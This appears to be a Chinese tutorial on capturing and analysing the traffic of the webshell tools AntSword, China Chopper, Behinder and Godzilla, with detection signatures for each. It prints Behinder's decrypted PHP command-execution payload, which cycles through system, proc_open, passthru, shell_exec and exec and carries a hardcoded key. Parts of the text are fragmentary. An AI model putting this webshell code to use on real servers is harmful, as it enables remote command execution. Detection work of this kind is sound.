中国蚁剑流量抓包分析
配置代理
数据包分析
特征
中国菜刀流量抓包分析
数据包分析
特征
冰蝎流量抓包分析
配置代理
自带PhpWebshell分析(base64编码)
数据包分析
弱特征
强特征
哥斯拉流量抓包分析
配置代理
生成webshell
Webshell连接
抓包分析
强特征
弱特征
通过编码的数据包1特征,发现是URL编码(BP会自动对其解码显示)
还可以通过解码网站对其进行解码,之后分析数据包特征
http://www.hiencode.com/
如下图,发现通过蚁剑终端传参之后得到的响应包任然是明文的
请求包:
每个请求体都是由下面这个数据开始的
@ini_set("display_errors", "0");@set_time_limit(0);
响应包:
都是明文
因菜刀无法配置代理,因此我们通过wireshark来全局抓包查看流量(也可以通过Proxifier联合BP抓包)
请求体存在assert eavl,base64等特征字符
请求体中存在固定字符:QGluaV9zZXQo
这里以冰蝎base64编码生成webshell为例上传到服务器端进行流量分析
在冰蝎虚拟终端进行传参分析其数据包特征
通过冰蝎自带解密功能对其数据包解密
如下解密后的函数,对关键信息进行base64解密还原流量:可以看到进入哪些路径执行哪些命令
@error_reporting(0);function getSafeStr($str){
$s1 = iconv('utf-8','gbk//IGNORE',$str);
$s0 = iconv('gbk','utf-8//IGNORE',$s1);
if($s0 == $str){
return $s0;
}
else{
return iconv('gbk','utf-8//IGNORE',$str);
}
}
function main($cmd,$path){
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time', 0);
$result = array();
$PadtJn = @ini_get('disable_functions');
if (! empty($PadtJn)) {
$PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
$PadtJn = explode(',', $PadtJn);
$PadtJn = array_map('trim', $PadtJn);
}
else {
$PadtJn = array();
}
$c = $cmd;
if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
$c = $c . " 2>&1\n";
}
$JueQDBH = 'is_callable';
$Bvce = 'in_array';
if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {
ob_start();
system($c);
$kWJW = ob_get_contents();
ob_end_clean();
}
else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {
$handle = proc_open($c, array( array( 'pipe', 'r' ), array( 'pipe', 'w' ),
array( 'pipe', 'w' ) ), $pipes); $kWJW = NULL; while (! feof($pipes[1])) { $kWJW .= fread($pipes[1], 1024);
}
@proc_close($handle); }
else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {
ob_start();
passthru($c);
$kWJW = ob_get_contents();
ob_end_clean(); }
else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {
$kWJW = shell_exec($c); }
else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {
$kWJW = array();
exec($c, $kWJW);
$kWJW = join(chr(10), $kWJW) . chr(10); }
else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {
$fp = popen($c, 'r');
$kWJW = NULL;
if (is_resource($fp)) {
while (! feof($fp)) {
$kWJW .= fread($fp, 1024);
}
}
@pclose($fp);
}
else {
$kWJW = 0;
$result["status"] = base64_encode("fail");
$result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
$key = $_SESSION['k'];
echo encrypt(json_encode($result));
return;
}
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode(getSafeStr($kWJW));
echo encrypt(json_encode($result));}function encrypt($data){
$key="e45e329feb5d925b"; for($i=0;$i
如下图对cmd变量的关键信息进行base64解密可得明文
对其响应数据进行解密
加密的响应包数据
TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEduBwZHa1RfEDhzHFdoTFMMVgdQWHZoCVhASA==TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEduBwZHa1RfEDhzHFdoTFMMVgdQWHZoCVhASA==TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEduBwZHa1RfEDhzHFdoTFMMVgdQWHZoCVhASA==
一次解密后
{"status":"c3VjY2Vzcw==","msg":"Z2ctYm9uZFxnZy1ib25kDQo="}+.$r1('#%4r1k%]@.n)192>bm=m%{}.p"1xw/r:$?5Vm4Zy5'1?~|"k/a"=t\>`"a;)F~2\y6?d>6=]mar}
对关键信息进行二次解密(status和msg的值),如下图
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Content-type: application/x-www-form-urlencoded
请求头固定
dFAXQV1LORcHRQtLRlwMAhwFTAg/M
解密后
@error_reporting(0);
将哥斯拉的webshell上传到服务器
数据包通过base64编码
请求包
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
响应包
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0